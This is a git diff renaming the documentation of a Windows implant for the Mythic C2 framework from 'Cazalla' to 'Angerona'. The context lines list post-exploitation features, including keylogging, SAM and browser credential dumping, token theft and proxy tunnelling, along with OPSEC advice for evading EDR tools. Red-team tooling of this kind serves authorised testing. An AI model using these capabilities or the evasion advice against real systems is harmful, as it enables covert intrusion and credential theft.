``` ## Acceso Una vez instalado, la documentación estará disponible en: -- `http://tu-servidor:7443/docs/agents/Cazalla` -- `http://tu-servidor:7443/docs/agents/Cazalla/commands/` +- `http://tu-servidor:7443/docs/agents/Angerona` +- `http://tu-servidor:7443/docs/agents/Angerona/commands/` --- diff --git a/documentation-payload/Cazalla/_index.md b/documentation-payload/Angerona/_index.md similarity index 88% rename from documentation-payload/Cazalla/_index.md rename to documentation-payload/Angerona/_index.md index 2d31dd7..10fc0e4 100644 --- a/documentation-payload/Cazalla/_index.md +++ b/documentation-payload/Angerona/_index.md @@ -1,16 +1,16 @@ +++ -title = "Cazalla" +title = "Angerona" chapter = true weight = 100 +++ -**Cazalla** is a lightweight Windows implant written in C, designed for the [Mythic C2 Framework](https://github.com/its-a-feature/Mythic). +**Angerona** is a lightweight Windows implant written in C, designed for the [Mythic C2 Framework](https://github.com/its-a-feature/Mythic). ## Overview -Cazalla provides essential post-exploitation capabilities including: +Angerona provides essential post-exploitation capabilities including: - **File System Operations** - Navigate, read, write, and manage files - **Process Management** - Enumerate, terminate, and interact with processes @@ -64,7 +64,7 @@ Cazalla provides essential post-exploitation capabilities including: ## Key Features ### Process Browser Integration -Cazalla automatically updates Mythic's Process Browser, allowing you to interact with processes directly from the UI. +Angerona automatically updates Mythic's Process Browser, allowing you to interact with processes directly from the UI. ### File Browser Integration Seamlessly browse the target's file system through Mythic's File Browser. diff --git a/documentation-payload/Cazalla/commands.md b/documentation-payload/Angerona/commands.md similarity index 99% rename from documentation-payload/Cazalla/commands.md rename to documentation-payload/Angerona/commands.md index 5c43c9b..e59260c 100644 --- a/documentation-payload/Cazalla/commands.md +++ b/documentation-payload/Angerona/commands.md @@ -5,9 +5,9 @@ weight = 10 pre = "4. " +++ -# Cazalla Command Reference +# Angerona Command Reference -Complete documentation for all Cazalla agent commands. +Complete documentation for all Angerona agent commands. ## 📋 Table of Contents @@ -768,7 +768,7 @@ shell ipconfig /all - The command is executed in a non-interactive shell and the output is captured and returned - HIGH OPSEC RISK: This command spawns cmd.exe which is heavily monitored by EDR/XDR solutions - Command execution and command-line arguments are logged by security tools -- Consider using built-in Cazalla commands (`ps`, `ls`, `cat`, etc.) instead when possible, as they provide better OPSEC +- Consider using built-in Angerona commands (`ps`, `ls`, `cat`, etc.) instead when possible, as they provide better OPSEC - Always requires approval from another operator before execution **Output:** @@ -784,7 +784,7 @@ desktop-abc\administrator - **HIGH OPSEC RISK**: Spawns cmd.exe which is heavily monitored - Command execution and arguments are logged by EDR/XDR solutions - Always requires operator approval (OPSEC pre-check blocks execution) -- Consider using built-in Cazalla commands instead when possible +- Consider using built-in Angerona commands instead when possible **Related:** [OPSEC Checking](opsec.md) diff --git a/documentation-payload/Cazalla/commands/README.md b/documentation-payload/Angerona/commands/README.md similarity index 91% rename from documentation-payload/Cazalla/commands/README.md rename to documentation-payload/Angerona/commands/README.md index f421e74..80f65ed 100644 --- a/documentation-payload/Cazalla/commands/README.md +++ b/documentation-payload/Angerona/commands/README.md @@ -1,6 +1,6 @@ -# Cazalla Commands +# Angerona Commands -Complete documentation for all Cazalla agent commands, organized by category. +Complete documentation for all Angerona agent commands, organized by category. ## File System Commands @@ -57,5 +57,5 @@ Complete documentation for all Cazalla agent commands, organized by category. --- -[Back to Cazalla Documentation](../../../README.md) +[Back to Angerona Documentation](../../../README.md) diff --git a/documentation-payload/Cazalla/commands/browser_dump.md b/documentation-payload/Angerona/commands/browser_dump.md similarity index 100% rename from documentation-payload/Cazalla/commands/browser_dump.md rename to documentation-payload/Angerona/commands/browser_dump.md diff --git a/documentation-payload/Cazalla/commands/browser_info.md b/documentation-payload/Angerona/commands/browser_info.md similarity index 100% rename from documentation-payload/Cazalla/commands/browser_info.md rename to documentation-payload/Angerona/commands/browser_info.md diff --git a/documentation-payload/Cazalla/commands/cat.md b/documentation-payload/Angerona/commands/cat.md similarity index 100% rename from documentation-payload/Cazalla/commands/cat.md rename to documentation-payload/Angerona/commands/cat.md diff --git a/documentation-payload/Cazalla/commands/cd.md b/documentation-payload/Angerona/commands/cd.md similarity index 100% rename from documentation-payload/Cazalla/commands/cd.md rename to documentation-payload/Angerona/commands/cd.md diff --git a/documentation-payload/Cazalla/commands/cp.md b/documentation-payload/Angerona/commands/cp.md similarity index 100% rename from documentation-payload/Cazalla/commands/cp.md rename to documentation-payload/Angerona/commands/cp.md diff --git a/documentation-payload/Cazalla/commands/download.md b/documentation-payload/Angerona/commands/download.md similarity index 100% rename from documentation-payload/Cazalla/commands/download.md rename to documentation-payload/Angerona/commands/download.md diff --git a/documentation-payload/Cazalla/commands/exit.md b/documentation-payload/Angerona/commands/exit.md similarity index 100% rename from documentation-payload/Cazalla/commands/exit.md rename to documentation-payload/Angerona/commands/exit.md diff --git a/documentation-payload/Cazalla/commands/inline_execute.md b/documentation-payload/Angerona/commands/inline_execute.md similarity index 100% rename from documentation-payload/Cazalla/commands/inline_execute.md rename to documentation-payload/Angerona/commands/inline_execute.md diff --git a/documentation-payload/Cazalla/commands/inline_execute_assembly.md b/documentation-payload/Angerona/commands/inline_execute_assembly.md similarity index 100% rename from documentation-payload/Cazalla/commands/inline_execute_assembly.md rename to documentation-payload/Angerona/commands/inline_execute_assembly.md diff --git a/documentation-payload/Cazalla/commands/keylog_start.md b/documentation-payload/Angerona/commands/keylog_start.md similarity index 100% rename from documentation-payload/Cazalla/commands/keylog_start.md rename to documentation-payload/Angerona/commands/keylog_start.md diff --git a/documentation-payload/Cazalla/commands/keylog_stop.md b/documentation-payload/Angerona/commands/keylog_stop.md similarity index 100% rename from documentation-payload/Cazalla/commands/keylog_stop.md rename to documentation-payload/Angerona/commands/keylog_stop.md diff --git a/documentation-payload/Cazalla/commands/kill.md b/documentation-payload/Angerona/commands/kill.md similarity index 100% rename from documentation-payload/Cazalla/commands/kill.md rename to documentation-payload/Angerona/commands/kill.md diff --git a/documentation-payload/Cazalla/commands/list_tokens.md b/documentation-payload/Angerona/commands/list_tokens.md similarity index 100% rename from documentation-payload/Cazalla/commands/list_tokens.md rename to documentation-payload/Angerona/commands/list_tokens.md diff --git a/documentation-payload/Cazalla/commands/ls.md b/documentation-payload/Angerona/commands/ls.md similarity index 100% rename from documentation-payload/Cazalla/commands/ls.md rename to documentation-payload/Angerona/commands/ls.md diff --git a/documentation-payload/Cazalla/commands/make_token.md b/documentation-payload/Angerona/commands/make_token.md similarity index 100% rename from documentation-payload/Cazalla/commands/make_token.md rename to documentation-payload/Angerona/commands/make_token.md diff --git a/documentation-payload/Cazalla/commands/mkdir.md b/documentation-payload/Angerona/commands/mkdir.md similarity index 100% rename from documentation-payload/Cazalla/commands/mkdir.md rename to documentation-payload/Angerona/commands/mkdir.md diff --git a/documentation-payload/Cazalla/commands/ps.md b/documentation-payload/Angerona/commands/ps.md similarity index 100% rename from documentation-payload/Cazalla/commands/ps.md rename to documentation-payload/Angerona/commands/ps.md diff --git a/documentation-payload/Cazalla/commands/pwd.md b/documentation-payload/Angerona/commands/pwd.md similarity index 100% rename from documentation-payload/Cazalla/commands/pwd.md rename to documentation-payload/Angerona/commands/pwd.md diff --git a/documentation-payload/Cazalla/commands/rev2self.md b/documentation-payload/Angerona/commands/rev2self.md similarity index 100% rename from documentation-payload/Cazalla/commands/rev2self.md rename to documentation-payload/Angerona/commands/rev2self.md diff --git a/documentation-payload/Cazalla/commands/rm.md b/documentation-payload/Angerona/commands/rm.md similarity index 100% rename from documentation-payload/Cazalla/commands/rm.md rename to documentation-payload/Angerona/commands/rm.md diff --git a/documentation-payload/Cazalla/commands/rpfwd.md b/documentation-payload/Angerona/commands/rpfwd.md similarity index 100% rename from documentation-payload/Cazalla/commands/rpfwd.md rename to documentation-payload/Angerona/commands/rpfwd.md diff --git a/documentation-payload/Cazalla/commands/samdump.md b/documentation-payload/Angerona/commands/samdump.md similarity index 100% rename from documentation-payload/Cazalla/commands/samdump.md rename to documentation-payload/Angerona/commands/samdump.md diff --git a/documentation-payload/Cazalla/commands/screenshot.md b/documentation-payload/Angerona/commands/screenshot.md similarity index 100% rename from documentation-payload/Cazalla/commands/screenshot.md rename to documentation-payload/Angerona/commands/screenshot.md diff --git a/documentation-payload/Cazalla/commands/shell.md b/documentation-payload/Angerona/commands/shell.md similarity index 89% rename from documentation-payload/Cazalla/commands/shell.md rename to documentation-payload/Angerona/commands/shell.md index 14c9609..15732cc 100644 --- a/documentation-payload/Cazalla/commands/shell.md +++ b/documentation-payload/Angerona/commands/shell.md @@ -29,7 +29,7 @@ shell ipconfig /all - The command is executed in a non-interactive shell and the output is captured and returned - HIGH OPSEC RISK: This command spawns cmd.exe which is heavily monitored by EDR/XDR solutions - Command execution and command-line arguments are logged by security tools -- Consider using built-in Cazalla commands (`ps`, `ls`, `cat`, etc.) instead when possible, as they provide better OPSEC +- Consider using built-in Angerona commands (`ps`, `ls`, `cat`, etc.) instead when possible, as they provide better OPSEC - Always requires approval from another operator before execution ## Output @@ -47,7 +47,7 @@ desktop-abc\administrator - **HIGH OPSEC RISK**: Spawns cmd.exe which is heavily monitored - Command execution and arguments are logged by EDR/XDR solutions - Always requires operator approval (OPSEC pre-check blocks execution) -- Consider using built-in Cazalla commands instead when possible +- Consider using built-in Angerona commands instead when possible ## Related diff --git a/documentation-payload/Cazalla/commands/sleep.md b/documentation-payload/Angerona/commands/sleep.md similarity index 100% rename from documentation-payload/Cazalla/commands/sleep.md rename to documentation-payload/Angerona/commands/sleep.md diff --git a/documentation-payload/Cazalla/commands/socks.md b/documentation-payload/Angerona/commands/socks.md similarity index 100% rename from documentation-payload/Cazalla/commands/socks.md rename to documentation-payload/Angerona/commands/socks.md diff --git a/documentation-payload/Cazalla/commands/steal_token.md b/documentation-payload/Angerona/commands/steal_token.md similarity index 100% rename from documentation-payload/Cazalla/commands/steal_token.md rename to documentation-payload/Angerona/commands/steal_token.md diff --git a/documentation-payload/Cazalla/commands/upload.md b/documentation-payload/Angerona/commands/upload.md similarity index 100% rename from documentation-payload/Cazalla/commands/upload.md rename to documentation-payload/Angerona/commands/upload.md diff --git a/documentation-payload/Cazalla/commands/whoami.md b/documentation-payload/Angerona/commands/whoami.md similarity index 100% rename from documentation-payload/Cazalla/commands/whoami.md rename to documentation-payload/Angerona/commands/whoami.md diff --git a/documentation-payload/Cazalla/developing-commands.md b/documentation-payload/Angerona/developing-commands.md similarity index 95% rename from documentation-payload/Cazalla/developing-commands.md rename to documentation-payload/Angerona/developing-commands.md index 58040d2..5211ef0 100644 --- a/documentation-payload/Cazalla/developing-commands.md +++ b/documentation-payload/Angerona/developing-commands.md @@ -5,13 +5,13 @@ weight = 20 pre = "3. " +++ -# Developing New Commands for Cazalla +# Developing New Commands for Angerona -This guide provides a step-by-step walkthrough for adding new commands to the Cazalla agent. Understanding this process is essential for extending Cazalla's capabilities. +This guide provides a step-by-step walkthrough for adding new commands to the Angerona agent. Understanding this process is essential for extending Angerona's capabilities. ## 📋 Overview -Adding a new command to Cazalla requires coordination across multiple components: +Adding a new command to Angerona requires coordination across multiple components: 1. **Python Command Definition** - Defines the command interface in Mythic 2. **Translator Mapping** - Maps command names to hex codes for agent communication @@ -45,7 +45,7 @@ graph LR ### Step 1: Create Python Command File -Create a new Python file in `Payload_Type/cazalla/cazalla/agent_functions/` named after your command (e.g., `mycommand.py`). +Create a new Python file in `Payload_Type/angerona/angerona/agent_functions/` named after your command (e.g., `mycommand.py`). #### 1.1 Command Arguments Class @@ -156,7 +156,7 @@ class MyCommandCommand(CommandBase): ### Step 2: Add Command to Translator -Edit `Payload_Type/cazalla/translator/commands_from_c2.py` and add your command to the `commands` dictionary: +Edit `Payload_Type/angerona/translator/commands_from_c2.py` and add your command to the `commands` dictionary: ```python commands = { @@ -184,7 +184,7 @@ commands = { #### 3.1 Define Command Constant -Edit `Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h` and add: +Edit `Payload_Type/angerona/angerona/agent_code/angerona/comandos.h` and add: ```c #define MYCOMMAND_CMD 0x99 // Must match hex_code from translator @@ -195,7 +195,7 @@ Edit `Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h` and add: Create or edit the appropriate C file (e.g., `SistemadeFicheros.c` for file operations, or create a new file): ```c -#include "cazalla.h" +#include "angerona.h" #include "comandos.h" #include "paquete.h" @@ -263,7 +263,7 @@ void MyCommandHandler(PAnalizador analizadorTarea) { ### Step 4: Register Handler in Command Dispatcher -Edit `Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c` and add your command to the dispatch chain in `handleGetTasking()`: +Edit `Payload_Type/angerona/angerona/agent_code/angerona/comandos.c` and add your command to the dispatch chain in `handleGetTasking()`: ```c #ifdef ENABLE_MYCOMMAND_CMD @@ -284,7 +284,7 @@ Edit `Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c` and add your c ### Step 5: Add to Builder Mapping -Edit `Payload_Type/cazalla/cazalla/agent_functions/builder.py` and add your command to the `command_to_define` dictionary (around line 209): +Edit `Payload_Type/angerona/angerona/agent_functions/builder.py` and add your command to the `command_to_define` dictionary (around line 209): ```python command_to_define = { @@ -405,7 +405,7 @@ In `comandos.h`: Create `ping.c`: ```c -#include "cazalla.h" +#include "angerona.h" #include "comandos.h" #include "paquete.h" @@ -542,18 +542,18 @@ The translator will automatically convert file listings to File Browser format. ### 1. Restart Mythic Agent Container -After adding your command, restart the Cazalla container: +After adding your command, restart the Angerona container: ```bash cd ~/Mythic -./mythic-cli restart cazalla +./mythic-cli restart angerona ``` ### 2. Verify Command Appears 1. Open Mythic UI 2. Navigate to Payloads → Create Payload -3. Select Cazalla +3. Select Angerona 4. Check that your command appears in the command selection list ### 3. Build Test Payload @@ -606,7 +606,7 @@ cd ~/Mythic ## 📚 Reference: Command Hex Codes -Current hex code allocations in Cazalla: +Current hex code allocations in Angerona: - `0x00`: GET_TASKING - `0x01`: POST_RESPONSE diff --git a/documentation-payload/Cazalla/examples.md b/documentation-payload/Angerona/examples.md similarity index 99% rename from documentation-payload/Cazalla/examples.md rename to documentation-payload/Angerona/examples.md index 6a28a2d..569bc5e 100644 --- a/documentation-payload/Cazalla/examples.md +++ b/documentation-payload/Angerona/examples.md @@ -5,9 +5,9 @@ weight = 10 pre = "5. " +++ -# Cazalla Usage Examples +# Angerona Usage Examples -This document provides practical examples and use cases for using Cazalla agent in real-world scenarios. +This document provides practical examples and use cases for using Angerona agent in real-world scenarios. ## 📋 Table of Contents diff --git a/documentation-payload/Cazalla/features.md b/documentation-payload/Angerona/features.md similarity index 92% rename from documentation-payload/Cazalla/features.md rename to documentation-payload/Angerona/features.md index da03aa6..42326ec 100644 --- a/documentation-payload/Cazalla/features.md +++ b/documentation-payload/Angerona/features.md @@ -5,9 +5,9 @@ weight = 10 pre = "2. " +++ -# Cazalla Features Overview +# Angerona Features Overview -This document provides detailed explanations of Cazalla's key features and capabilities. +This document provides detailed explanations of Angerona's key features and capabilities. ## 📋 Table of Contents @@ -29,7 +29,7 @@ This document provides detailed explanations of Cazalla's key features and capab ## Process Browser Integration -Cazalla fully integrates with Mythic's Process Browser feature, providing unified process management across multiple callbacks on the same host. +Angerona fully integrates with Mythic's Process Browser feature, providing unified process management across multiple callbacks on the same host. ### Features @@ -68,7 +68,7 @@ Cazalla fully integrates with Mythic's Process Browser feature, providing unifie ## File Browser Integration -Cazalla seamlessly integrates with Mythic's File Browser, allowing visual file system navigation and operations. +Angerona seamlessly integrates with Mythic's File Browser, allowing visual file system navigation and operations. ### Features @@ -105,7 +105,7 @@ Cazalla seamlessly integrates with Mythic's File Browser, allowing visual file s ## Context Tracking -Cazalla automatically tracks and displays dynamic callback context information in the Mythic UI. +Angerona automatically tracks and displays dynamic callback context information in the Mythic UI. ### Features @@ -139,7 +139,7 @@ Cazalla automatically tracks and displays dynamic callback context information i ## Artifacts Support -Cazalla automatically reports artifacts created during command execution, allowing Mythic to track forensic evidence. +Angerona automatically reports artifacts created during command execution, allowing Mythic to track forensic evidence. ### Features @@ -176,7 +176,7 @@ Cazalla automatically reports artifacts created during command execution, allowi ## Credentials Support -Cazalla supports reporting discovered credentials to Mythic's credential store. +Angerona supports reporting discovered credentials to Mythic's credential store. ### Features @@ -207,7 +207,7 @@ The `cat` command automatically detects and reports credentials from file conten ## SOCKS Proxy Support -Cazalla includes full SOCKS5 proxy support, allowing you to route traffic through the agent to access internal network resources. +Angerona includes full SOCKS5 proxy support, allowing you to route traffic through the agent to access internal network resources. ### Features @@ -250,7 +250,7 @@ proxychains nmap -sT 192.168.1.0/24 ## Reverse Port Forwarding (RPFWD) Support -Cazalla includes reverse port forwarding (RPFWD) support, allowing you to tunnel incoming connections from the agent to a remote destination through Mythic. +Angerona includes reverse port forwarding (RPFWD) support, allowing you to tunnel incoming connections from the agent to a remote destination through Mythic. ### Features @@ -287,7 +287,7 @@ curl http://:8080 ## Token Support -Cazalla supports Windows token manipulation and impersonation, following Mythic's Token specification. +Angerona supports Windows token manipulation and impersonation, following Mythic's Token specification. ### Features @@ -319,7 +319,7 @@ Cazalla supports Windows token manipulation and impersonation, following Mythic' ## Keylogging Support -Cazalla supports capturing keystrokes from the target system and reporting them to Mythic's Keylogs feature. +Angerona supports capturing keystrokes from the target system and reporting them to Mythic's Keylogs feature. ### Features @@ -355,7 +355,7 @@ The keylogger works with **any Windows application** because it: ## File Downloads Support -Cazalla supports downloading files from the target to the Mythic server using chunked transfers. +Angerona supports downloading files from the target to the Mythic server using chunked transfers. ### Features @@ -383,7 +383,7 @@ Cazalla supports downloading files from the target to the Mythic server using ch ## File Uploads Support -Cazalla supports uploading files from the Mythic server to the target using chunked transfers. +Angerona supports uploading files from the Mythic server to the target using chunked transfers. ### Features @@ -413,7 +413,7 @@ Cazalla supports uploading files from the Mythic server to the target using chun ## System Information Gathering -Cazalla includes commands for gathering system information with low detection risk. +Angerona includes commands for gathering system information with low detection risk. ### Features @@ -553,7 +553,7 @@ For detailed information, see [samdump command documentation](commands/samdump.m ## OPSEC Checking -Cazalla includes comprehensive OPSEC Checking functionality that provides operational security warnings and blocking for commands based on their detection risks. +Angerona includes comprehensive OPSEC Checking functionality that provides operational security warnings and blocking for commands based on their detection risks. ### Features diff --git a/documentation-payload/Cazalla/getting-started.md b/documentation-payload/Angerona/getting-started.md similarity index 90% rename from documentation-payload/Cazalla/getting-started.md rename to documentation-payload/Angerona/getting-started.md index 35cf089..df8b7d8 100644 --- a/documentation-payload/Cazalla/getting-started.md +++ b/documentation-payload/Angerona/getting-started.md @@ -5,9 +5,9 @@ weight = 10 pre = "1. " +++ -# Getting Started with Cazalla +# Getting Started with Angerona -This guide will help you install, configure, and deploy your first Cazalla agent. +This guide will help you install, configure, and deploy your first Angerona agent. ## 📋 Prerequisites @@ -18,34 +18,34 @@ This guide will help you install, configure, and deploy your first Cazalla agent ## 🚀 Installation -### Step 1: Install Cazalla on Mythic +### Step 1: Install Angerona on Mythic #### Option A: Install from GitHub (if available) ```bash cd ~/Mythic -./mythic-cli install github https://github.com//Cazalla +./mythic-cli install github https://github.com//Angerona ``` #### Option B: Install from Local Directory ```bash cd ~/Mythic -./mythic-cli install folder /path/to/Cazalla +./mythic-cli install folder /path/to/Angerona ``` -After installation, Mythic will build the Cazalla container automatically. +After installation, Mythic will build the Angerona container automatically. ### Step 2: Verify Installation -Check that Cazalla is installed: +Check that Angerona is installed: ```bash cd ~/Mythic ./mythic-cli list ``` -You should see `cazalla` in the list of installed payload types. +You should see `angerona` in the list of installed payload types. ### Step 3: Build Your First Payload @@ -55,7 +55,7 @@ You should see `cazalla` in the list of installed payload types. 2. **Create a New Payload** - Click on **Payloads** in the left sidebar - Click **Create Payload** button - - Select **Cazalla** as the payload type + - Select **Angerona** as the payload type 3. **Configure Build Parameters** - **C2 Profile**: Select your configured C2 profile (HTTP, HTTPS, etc.) @@ -92,7 +92,7 @@ Transfer the compiled `.exe` file to your Windows target using any method: On the Windows target, execute the agent: ```cmd -C:\path\to\cazalla.exe +C:\path\to\angerona.exe ``` The agent will start beaconing to your Mythic server immediately. @@ -248,7 +248,7 @@ The Mythic UI automatically displays: ### OPSEC Checking -Cazalla includes built-in OPSEC checking for high-risk operations: +Angerona includes built-in OPSEC checking for high-risk operations: - **Pre-execution blocking**: Commands like `steal_token`, `shell`, `keylog_start` require approval - **Post-execution warnings**: Artifacts are automatically tracked @@ -277,7 +277,7 @@ See [OPSEC Guide](opsec.md) for detailed information. - Review what the agent is creating/accessing 4. **Use Built-in Commands** - - Prefer Cazalla commands (`ps`, `ls`, `cat`) over `shell` when possible + - Prefer Angerona commands (`ps`, `ls`, `cat`) over `shell` when possible - Built-in commands have better OPSEC 5. **Review OPSEC Warnings** @@ -299,14 +299,14 @@ See [OPSEC Guide](opsec.md) for detailed information. - Review C2 profile logs 3. **Check Agent Execution** - - Verify agent is running: `tasklist | findstr cazalla` + - Verify agent is running: `tasklist | findstr angerona` - Check for error messages in console - Review Windows Event Logs 4. **Check Mythic Logs** ```bash sudo docker logs mythic_server - sudo docker logs cazalla_translator + sudo docker logs angerona_translator ``` ### Commands Not Working @@ -332,13 +332,13 @@ See [OPSEC Guide](opsec.md) for detailed information. 1. **Check Docker** ```bash sudo docker ps - sudo docker logs cazalla_translator + sudo docker logs angerona_translator ``` 2. **Rebuild Container** ```bash cd ~/Mythic - sudo ./mythic-cli build cazalla + sudo ./mythic-cli build angerona ``` 3. **Check Build Parameters** @@ -360,9 +360,9 @@ Now that you have a working agent: - [Mythic Documentation](https://docs.mythic-c2.net/) - [Mythic Process Browser](https://docs.mythic-c2.net/customizing/hooking-features/process_list) -- [Cazalla Main README](../README.md) +- [Angerona Main README](../README.md) --- -**Ready to use Cazalla?** Start with the [Commands Reference](commands.md) to learn all available commands! +**Ready to use Angerona?** Start with the [Commands Reference](commands.md) to learn all available commands! diff --git a/documentation-payload/Cazalla/logging.md b/documentation-payload/Angerona/logging.md similarity index 73% rename from documentation-payload/Cazalla/logging.md rename to documentation-payload/Angerona/logging.md index a1a8e7d..e4a4912 100644 --- a/documentation-payload/Cazalla/logging.md +++ b/documentation-payload/Angerona/logging.md @@ -7,11 +7,11 @@ pre = "7. " # 📊 Logging & Syslog -Cazalla includes a complete logging system that records all Mythic events and sends them to a central syslog server for analysis and auditing. +Angerona includes a complete logging system that records all Mythic events and sends them to a central syslog server for analysis and auditing. ## 🎯 Description -Cazalla's logging system: +Angerona's logging system: - ✅ **Logs ALL events** from Mythic automatically - ✅ **Does not modify the agent** (avoids detections) @@ -43,7 +43,7 @@ The logger is configured via a configuration file. **You don't need to modify do 1. **Edit the configuration file:** ```bash - nano Payload_Type/cazalla/logger/syslog.conf + nano Payload_Type/angerona/logger/syslog.conf ``` 2. **Configure the syslog server IP:** @@ -64,8 +64,8 @@ The logger is configured via a configuration file. **You don't need to modify do 3. **Rebuild and restart the container:** ```bash cd /opt/mythic - sudo ./mythic-cli build cazalla - sudo ./mythic-cli restart cazalla + sudo ./mythic-cli build angerona + sudo ./mythic-cli restart angerona ``` ### Step 2: Configure rsyslog on the Host (Optional) @@ -83,12 +83,12 @@ If you want to receive logs on the same server where Mythic runs: sudo sed -i 's/#input(type="imudp" port="514")/input(type="imudp" port="514")/' /etc/rsyslog.conf ``` -3. **Create rule for Cazalla** in `/etc/rsyslog.d/50-cazalla.conf`: +3. **Create rule for Angerona** in `/etc/rsyslog.d/50-angerona.conf`: ```bash - sudo bash -c 'cat > /etc/rsyslog.d/50-cazalla.conf << EOF - # Logs from Cazalla Mythic agent + sudo bash -c 'cat > /etc/rsyslog.d/50-angerona.conf << EOF + # Logs from Angerona Mythic agent # Filter by facility LOCAL0 (16) - if \$syslogfacility-text == "local0" then /var/log/cazalla.log + if \$syslogfacility-text == "local0" then /var/log/angerona.log & stop EOF ' @@ -112,34 +112,34 @@ If you want to receive logs on the same server where Mythic runs: ```bash # View container logs -sudo docker logs cazalla | grep -i "syslog\|Logger initialized" +sudo docker logs angerona | grep -i "syslog\|Logger initialized" # You should see: -# INFO:cazalla_logger:Syslog client initialized: 10.8.20.50:514 (facility=16) -# INFO:cazalla_logger:Logger initialized: cazalla_logger +# INFO:angerona_logger:Syslog client initialized: 10.8.20.50:514 (facility=16) +# INFO:angerona_logger:Logger initialized: angerona_logger ``` ### View Logs in Real-Time ```bash # View logs in syslog (host) -sudo tail -f /var/log/cazalla.log +sudo tail -f /var/log/angerona.log # View local logs (inside container) -sudo docker exec cazalla tail -f /tmp/cazalla_mythic_$(date +%Y-%m-%d).log +sudo docker exec angerona tail -f /tmp/angerona_mythic_$(date +%Y-%m-%d).log ``` ### View Specific Events ```bash # View only tasks -sudo tail -100 /var/log/cazalla.log | grep '"event_type": "TASK"' +sudo tail -100 /var/log/angerona.log | grep '"event_type": "TASK"' # View only responses -sudo tail -100 /var/log/cazalla.log | grep '"event_type": "RESPONSE"' +sudo tail -100 /var/log/angerona.log | grep '"event_type": "RESPONSE"' # Count events by type -sudo tail -1000 /var/log/cazalla.log | grep -o '"event_type": "[^"]*"' | sort | uniq -c +sudo tail -1000 /var/log/angerona.log | grep -o '"event_type": "[^"]*"' | sort | uniq -c ``` ## 📝 Log Format @@ -169,11 +169,11 @@ Logs are saved in structured JSON format for easy parsing: ### Log Locations -- **Syslog (host)**: `/var/log/cazalla.log` -- **Local logs (container)**: `/tmp/cazalla_mythic_YYYY-MM-DD.log` +- **Syslog (host)**: `/var/log/angerona.log` +- **Local logs (container)**: `/tmp/angerona_mythic_YYYY-MM-DD.log` - One file per day - No rotation (all files are kept) - - Format: `cazalla_mythic_2025-11-17.log` + - Format: `angerona_mythic_2025-11-17.log` ## 🔍 Usage Examples @@ -181,28 +181,28 @@ Logs are saved in structured JSON format for easy parsing: ```bash # Search for all 'whoami' executions -sudo grep -i "whoami" /var/log/cazalla.log | grep '"event_type": "TASK"' +sudo grep -i "whoami" /var/log/angerona.log | grep '"event_type": "TASK"' ``` ### View Operator Activity ```bash # View all events from a user -sudo grep '"username": "mythic_admin"' /var/log/cazalla.log +sudo grep '"username": "mythic_admin"' /var/log/angerona.log ``` ### View Captured Credentials ```bash # View credential events -sudo grep '"event_type": "CREDENTIAL"' /var/log/cazalla.log +sudo grep '"event_type": "CREDENTIAL"' /var/log/angerona.log ``` ### Analyze Generated Artifacts ```bash # View all artifacts (detected IOCs) -sudo grep '"event_type": "ARTIFACT"' /var/log/cazalla.log +sudo grep '"event_type": "ARTIFACT"' /var/log/angerona.log ``` ## 🛠️ Troubleshooting @@ -211,15 +211,15 @@ sudo grep '"event_type": "ARTIFACT"' /var/log/cazalla.log **Solution:** 1. Verify the logger is imported in `main.py` -2. Rebuild the container: `sudo ./mythic-cli build cazalla` -3. Restart: `sudo ./mythic-cli restart cazalla` +2. Rebuild the container: `sudo ./mythic-cli build angerona` +3. Restart: `sudo ./mythic-cli restart angerona` ### Don't See "Syslog client initialized" **Solution:** 1. Verify `SYSLOG_SERVER` has a value in `syslog.conf`: ```bash - sudo docker exec cazalla cat /Mythic/logger/syslog.conf | grep SYSLOG_SERVER + sudo docker exec angerona cat /Mythic/logger/syslog.conf | grep SYSLOG_SERVER ``` 2. Rebuild the container if you just edited the file @@ -228,7 +228,7 @@ sudo grep '"event_type": "ARTIFACT"' /var/log/cazalla.log **Solution:** 1. Verify rsyslog is listening: `sudo netstat -ulnp | grep 514` 2. Verify connectivity from container to host -3. Verify rsyslog configuration: `sudo cat /etc/rsyslog.d/50-cazalla.conf` +3. Verify rsyslog configuration: `sudo cat /etc/rsyslog.d/50-angerona.conf` 4. Verify firewall: `sudo iptables -L -n | grep 514` ### Logs Are Empty @@ -268,11 +268,11 @@ The JSON formatted logs can be easily integrated with SIEMs such as: - Graylog - QRadar -Simply configure the SIEM to read from `/var/log/cazalla.log` or from the central syslog server. +Simply configure the SIEM to read from `/var/log/angerona.log` or from the central syslog server. ## 🔗 References -- [Logger Technical Documentation](../Payload_Type/cazalla/logger/README.md) +- [Logger Technical Documentation](../Payload_Type/angerona/logger/README.md) - [Mythic Logging Documentation](https://docs.mythic-c2.net/customizing/3.-consuming-containers/logging) - [RFC 3164 - The BSD syslog Protocol](https://tools.ietf.org/html/rfc3164) diff --git a/documentation-payload/Cazalla/opsec.md b/documentation-payload/Angerona/opsec.md similarity index 95% rename from documentation-payload/Cazalla/opsec.md rename to documentation-payload/Angerona/opsec.md index 7b71b8a..59333fb 100644 --- a/documentation-payload/Cazalla/opsec.md +++ b/documentation-payload/Angerona/opsec.md @@ -5,9 +5,9 @@ weight = 10 pre = "3. " +++ -# OPSEC Guide for Cazalla +# OPSEC Guide for Angerona -This guide covers operational security considerations when using Cazalla agent, including detection risks, best practices, and the built-in OPSEC checking system. +This guide covers operational security considerations when using Angerona agent, including detection risks, best practices, and the built-in OPSEC checking system. ## 📋 Table of Contents @@ -22,12 +22,12 @@ This guide covers operational security considerations when using Cazalla agent, ## Overview -Operational Security (OPSEC) is critical when conducting red team operations. Cazalla includes built-in OPSEC checking to help operators make informed decisions and avoid accidental security violations. +Operational Security (OPSEC) is critical when conducting red team operations. Angerona includes built-in OPSEC checking to help operators make informed decisions and avoid accidental security violations. ### Key Principles 1. **Minimize Detection**: Avoid commands and behaviors that trigger security alerts -2. **Use Built-in Commands**: Prefer Cazalla's native commands over `shell` when possible +2. **Use Built-in Commands**: Prefer Angerona's native commands over `shell` when possible 3. **Monitor Artifacts**: Review artifacts created by commands 4. **Review OPSEC Warnings**: Always read and understand OPSEC popup messages 5. **Operational Timing**: Adjust sleep intervals and jitter based on operational needs @@ -36,7 +36,7 @@ Operational Security (OPSEC) is critical when conducting red team operations. Ca ## OPSEC Checking System -Cazalla implements a two-stage OPSEC checking system: +Angerona implements a two-stage OPSEC checking system: ### OPSEC Pre-Check (`opsec_pre`) @@ -77,7 